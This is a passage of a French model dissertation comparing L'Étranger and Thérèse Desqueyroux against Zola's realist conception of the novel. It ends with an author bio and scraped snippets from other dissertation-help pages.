Baudelaire intitulé « L’étranger », l’aspect énigmatique et anticonformiste du personnage est rendu par ses réponses, plus déroutantes les unes que les autres, et qui lui confèrent une sorte d’hermétisme. Au statut de marginal dans le poème répond l’anonymat d’un petit employé algérois sans importance : c’est là le paradoxe de ces personnages « indéchiffrables » voués au silence et à l’incompréhension.
_____ Ce refus d’ancrage référentiel est bien sûr irréductible au réalisme tel que le conçoit Émile Zola. Pour l’auteur de Germinal , le roman doit raconter la lutte du capital contre le travail. Ainsi, d’un point de vue narratif par exemple, les étapes du conflit entre les mineurs et le patronat rythment la progression du récit et font monter la tension dramatique. Dans nos deux romans au contraire, tout semble joué d’avance au point qu’il n’y a pas vraiment d’énigme. De même Thérèse et Meursault ne répondent pas à la caractérisation du personnage telle que l’envisagent les romanciers réalistes. Loin de donner à son héros une identité crédible et significative, Camus refuse par exemple le point de vue omniscient qui permettrait de dévoiler le passé de Meursault, de révéler ses pensées, en somme d’organiser un portrait détaillé. S’il assiste à l’enterrement de sa mère sans verser de larmes, s’il accepte avec indifférence la demande en mariage de Marie, s’il ne fait preuve d’aucun remords pendant les onze mois que dure l’instruction, c’est non parce qu’il est ce « monstre », ce criminel au « cœur endurci » que décrira le procureur lors du procès, mais parce qu’il refuse, dans une attitude de « défi », de se plier au « jeu » du monde. En ce sens, il est tout sauf le représentant d’une catégorie sociale. De même, il n’y a pas de type romanesque chez Thérèse au sens défini par Balzac : « Un type […] est un personnage qui résume en lui-même les traits caractéristiques de tous ceux qui lui ressemblent plus ou moins, il est le modèle du genre » . Point de « modèle » donc chez ces personnages hors-norme, irréductibles à toute caractérisation objective.
[Déduction générale] _____ Alors que le héros réaliste est confronté à une réalité impitoyable face à laquelle il doit déployer son énergie pour survivre ou s’élever, le personnage chez Mauriac et Camus est donc l’expression d’une crise existentielle et identitaire majeure au point qu’on pourrait parler de « mort du personnage » dans les deux romans. Devenue « opaque » sous le regard d’une conscience indéchiffrable, la conscience du personnage présente un aspect énigmatique, voire hermétique.
[Transition] _____ Parvenus à ce stade de la réflexion, il convient de s’interroger : faut-il envisager le roman, et plus particulièrement le personnage, uniquement sous l’angle du projet réaliste ? Ne peut-on lire L’Étranger ou Thérèse Desqueyroux comme des romans de l’énigme de soi ? Tout l’intérêt de l’écriture fictionnelle à partir du vingtième siècle a été précisément de renouveler la fonction de l’écrivain : à l’ enquête chère à Zola, nos deux romans privilégient davantage la quête : quête intérieure indissociable d’un profond questionnement existentiel.
_____ Si observation de la réalité il y a, chez Mauriac et Camus c’est une observation du moi le plus intime du personnage, c’est-à-dire l’expression d’un monde intérieur. Point de départ d’une réflexion sur le sens de la vie, le thème de la mort, omniprésent dans les deux œuvres, débouche sur une méditation philosophique essentielle : pourquoi vivre si c’est pour mourir, pourrait dire Camus ? De même, dans Thérèse Desqueyroux , le roman invite le lecteur, grâce au monologue intérieur, à une pratique de l’introspection.
_____ De fait, il faut lire d’abord nos deux œuvres comme des romans humanistes qui renvoient à une souffrance de l’être. Romans humanistes mais aussi romans philosophiques : Camus disait justement qu’« un roman n’est jamais qu’une philosophie mise en images », et il est certain qu’en montrant des comportements dépourvus de signification, L’Étranger est révélateur d’une interrogation sur le sens de la vie, déjà esquissée dans Le Mythe de Sisyphe : « Dans cet univers indéchiffrable et limité, le destin de l’homme prend désormais son sens. Un peuple d’irrationnels s’est dressé et l’entoure jusqu’à sa fin dernière. Dans sa clairvoyance revenue et maintenant concertée, le sentiment de l’absurde s’éclaire et se précise. Je disais que le monde est absurde et j’allais trop vite. Ce monde en lui-même n’est pas raisonnable, c’est tout ce qu’on en peut dire. Mais ce qui est absurde, c’est la confrontation de cet irrationnel et de ce désir éperdu de clarté dont l’appel résonne au plus profond de l’homme ». Plus simplement Camus définira l’absurde comme le « divorce entre l’homme et sa vie ». C’est de cette « confrontation entre l’appel humain et le silence déraisonnable du monde » que naît le sentiment de l’absurde. Ainsi, l’Étranger comme Thérèse Desqueyroux d’ailleurs ne se réduit pas à un contenu narratif : il est d’abord un roman sur la quête d’authenticité. Le but en effet est de nous amener à trouver dans l’existence la nostalgie d’une vérité « profondément humaine » : l’homme peut tromper les autres mais il ne peut se tromper lui-même. Dans le Mythe de Sisyphe , Camus écrivait à ce titre : « La divine disponibilité du condamné à mort devant qui s’ouvrent les portes de la prison par une certaine petite aube, cet incroyable désintéressement à l’égard de tout, sauf de la flamme pure de la vie, la mort et l’absurde sont ici, on le sent bien, les principes de la seule liberté raisonnable : celle qu’un cœur humain peut éprouver et vivre ».
_____ Ces propos, on le pressent, sont de la plus haute importance : prendre conscience de l’absurde pour Camus est presque une obligation morale ; c’est ainsi sauvegarder sa liberté en retrouvant le rapport d’unité à soi-même et au monde. De façon similaire, le crime de Thérèse est une mise en cause de la vie dans ce qu’elle a de plus trivial : vie médiocre, dépourvue de sens, qui aliène à soi-même. Romans de l’incommunicabilité, Thérèse Desqueyroux et l’Étranger sont aussi des romans du silence, du non-dit, de l’ellipse. Dans le monde du simulacre qu’ils cherchent à fuir, il n’y a de place que pour le mensonge, la dissimulation, l’hypocrisie sociale ; et sans doute comprenons-nous mieux la révolte de Meursault à la fin du roman lorsqu’il évoque sa mère : « personne n’avait le droit de pleurer sur elle ». Ce mot « personne » englobe les autres, mais aussi Meursault lui-même, qui se révèle alors celui qui a refusé de pleurer, comme les autres auraient voulu qu’il pleurât pour se conformer aux usages. La révolte de Meursault n’est donc pas une révolte politique au sens où l’entendait Zola : c’est davantage une révolte métaphysique contre les conventions sociales. Pareillement, le personnage de Thérèse ne se limite pas au portrait d’une criminelle. Loin de nous livrer le personnage une fois pour toutes, Mauriac par le truchement de la « remontée des souvenirs », nous présente au contraire un personnage complexe, contradictoire : par son refus de se soustraire à la vacuité du monde, il s’y confronte : le crime apparaît ainsi comme une révolte contre une société prisonnière des préséances et des simulacres odieux. Thérèse et Meursault doivent donc disparaître, seule manière pour l’homme de donner du sens à sa vie dans un monde neutre, un monde qui a cessé d’avoir un sens, où les valeurs sont détruites. La mort n’est plus vécue comme négation mais comme révolte de l’homme contre sa condition, en faisant face jusqu’au bout au nihilisme.
_____ Ce refus d’élever le héros de roman au mythe est essentiel. Alors que dans Germinal par exemple, le réalisme de Zola débouche sur une grande fresque historique qui implique une simplification constante des personnages, nos deux romans présentent au contraire des êtres soumis au resserrement temporel et spatial qui est celui des tragédies. Cette atmosphère de huis-clos, en bousculant perpétuellement notre horizon d’attente, oblige à pénétrer l’univers subjectif du héros, et donc à pénétrer dans l’atelier de fabrication du roman : jusqu’à quel point le romancier est-il maître de ses personnages ? Que pense vraiment Meursault ? Est-il possible, quoi que nous fassions, de sonder les profondeurs de l’âme de Thérèse ? Tous deux nous amènent à réfléchir sur nous-même et à nous questionner : de même que Meursault à la fin du roman renonce à donner un sens illusoire à sa vie, Thérèse refuse d’expliquer rationnellement son geste. La complexité du roman ne repose-t-elle pas en grande partie sur la complexité intérieure du personnage ? Complexité bien plus grande encore que le personnage social. Comme l’écrira Mauriac dans Le Roman , « Il s’agit de laisser à nos héros l’illogisme, l’indétermination, la complexité des êtres vivants », donc « laisser aux personnages l’indétermination et le mystère de la vie ». Alors que le roman réaliste va de l’énigme à sa résolution, nos deux romans vont à l’opposé du geste à l’énigme. L’exploration du personnage débouche ainsi sur son propre mystère. En acceptant l’exécution finale, Meursault accepte d’être le bouc émissaire d’une société profondément absurde, déclarant un homme coupable pour la seule raison qu’on ne l’a pas vu pleurer à l’enterrement de sa mère. Il devient ainsi véritablement libre en acceptant le jugement dernier comme une « grâce » qui préfigure obscurément l’espérance et le salut du monde. De même, l’épilogue de Thérèse Desqueyroux peut se lire selon un sens profondément spirituel. Incapable de fournir à Bernard un mobile précis pour justifier son crime, la jeune femme affirme : « Il se pourrait que ce fût pour voir dans vos yeux une inquiétude, une curiosité, du trouble enfin ». Le champ philosophique dans les deux œuvres est donc celui du déchiffrement : le roman transforme ainsi une interrogation sur le réel en questionnement existentiel.
[Déduction générale] ____ Ambiguïté et complexité des personnages vont donc de pair chez Mauriac et Camus qui s’emploient à questionner nos préjugés de lecteur : entre attirance et recul, nous sommes contraints de rentrer dans la subjectivité des personnages , et d’envisager le roman sous l’angle de l’examen de conscience : derrière la figure sulfureuse d’une empoisonneuse ou d’un « barbare » sans remords « étranger » aux hommes mais ouvert « à la tendre indifférence du monde », il faut chercher une valeur symbolique qui est de nous pousser à trouver un sens existentiel à la vie : ainsi les deux romans peuvent s’interpréter comme une quête de conscience morale, symbolisée par « cette nuit chargée de signes et d’étoiles », sur laquelle s’achève L’Étranger .
[Conclusion] Elle se doit d’être brève et synthétique. Elle comporte en général deux étapes : l e bilan ; l ’ouverture (ou élargissement).
_____ L’exploration du personnage est l’un des mystères sans cesse renouvelé de la complexité du roman. Si les propos d’Émile Zola, en faisant l’apologie de la réalité objective, limitent le travail de l’écrivain à l’observation sociale, il faut reconnaître que tout l’intérêt de L’Étranger et de Thérèse Desqueyroux est d’amener le lecteur, bien au-delà de l’histoire racontée qui nous conduirait de prime abord à condamner deux criminels, à un profond questionnement intérieur.
_____ À la trivialité des récits, qui par plusieurs aspects rappelle les querelles et débats soulevés par le Naturalisme, les deux romans mettent donc en évidence une vision profondément contradictoire et complexe de l’être humain. Ainsi, le réel ne suffit point à l’homme pour trouver du sens. Le but du roman n’est-il pas justement de nous confronter à l’indicible ? En cela, il fait émerger un profond message humain, chargé de nous faire entrevoir le bonheur dans l’opacité du monde…
Bruno Rigolt © mars 2018, Bruno Rigolt/Espace Pédagogique Contributif
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- Agrégé de Lettres modernes - Docteur ès Lettres et Sciences Humaines (Prix de Thèse de la Chancellerie des Universités de Paris) - Diplômé d’Etudes approfondies en Littérature française - Diplômé d’Etudes approfondies en Sociologie - Maître de Sciences Politiques Voir tous les articles par brunorigolt
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Et pourtant, une bonne dissertation n'est qu'une affaire de méthode et d'entraînement. Tu trouveras ci-dessous trois exemples de plans de dissertation sur le roman afin de faire de toi un (e) véritable professionnel (le) de cet exercice !
Nous vous proposons ces corrigés juste pour que vous vous en inspiriez car la dissertation est une réflexion personnelle.Partager avec vos camarades. SUJET: « Tout grand roman est un déicide, c'est-à-dire un assassinat symbolique de la réalité ». Commentez et discutez ces propos à l'aide d'exemples illustratifs.
Primauté du narratif. Lier l'intérêt d'un personnage à la quantité de problèmes « » qu'il affronte, c'est toujours privilégier la narration, soit qu'on veuille imprimer un rythme soutenu à l'intrigue et créer une tension dramatique, soit qu'on désire montrer combien le héros est un être d'exception.
Parcours : Le personnage de roman : esthétique et valeurs. Savoir disserter sur une oeuvre intégrale du programme bac séquence "roman". 4 sujets corrigés pour s'entrainer à disserter sur Le Rouge et le Noir de Stendhal. Consulter les 4 sujets corrigés.
Un exemple de dissertation entièrement rédigée selon les exigences du bac de français. Pour bien traiter ces sujets, aide-toi de ma méthode de la dissertation qui te montre comment organiser tes idées et construire ta copie. Exemples de dissertation sur chaque œuvre au programme 2024-2025. Roman.
Exemple : Dans une analyse des effets de la révolution industrielle, le plan analytique peut organiser l'information en trois parties (constat de la révolution, causes économiques et technologiques, et conséquences sociales et environnementales), rendant l'analyse plus précise. 5. Progression fluide et graduelle.
Dissertez. Introduction. Un roman est un miroir que l'on promène le long dune route. Ainsi, Stendhal définit le roman par le biais d'un personnage du Rouge et le Noir. Le roman est oeuvre littéraire dune certaine longueur qui met en scène des personnages fictifs qui évoluent dans leur milieu.
Exemple de conclusion de dissertation. Voici un exemple de conclusion de dissertation pour le sujet « Le romancier doit-il nécessairement faire de ses personnages des êtres extraordinaires ? » :
Le commentaire portait donc sur la littérature d'idées du XVIe au XVIIIe tandis que la dissertation portait sur le roman et le récit du Moyen âge au XXIe siècle. Nous proposons dans cet article un modèle de corrigé pour le sujet de dissertation portant sur Manon Lescaut. Le sujet complet est à télécharger ici :
Dissertation littéraire. Sujet corrigé. Bruno Rigolt. Rappel du sujet : Émile Zola dans Le Roman expérimental (1880) affirme qu'une œuvre littéraire doit être « un procès-verbal, rien de plus : elle n'a que le mérite de l'observation exacte […] ». Ce jugement s'accorde-t-il avec votre lecture de Thérèse Desqueyroux et de L'Étranger ? ___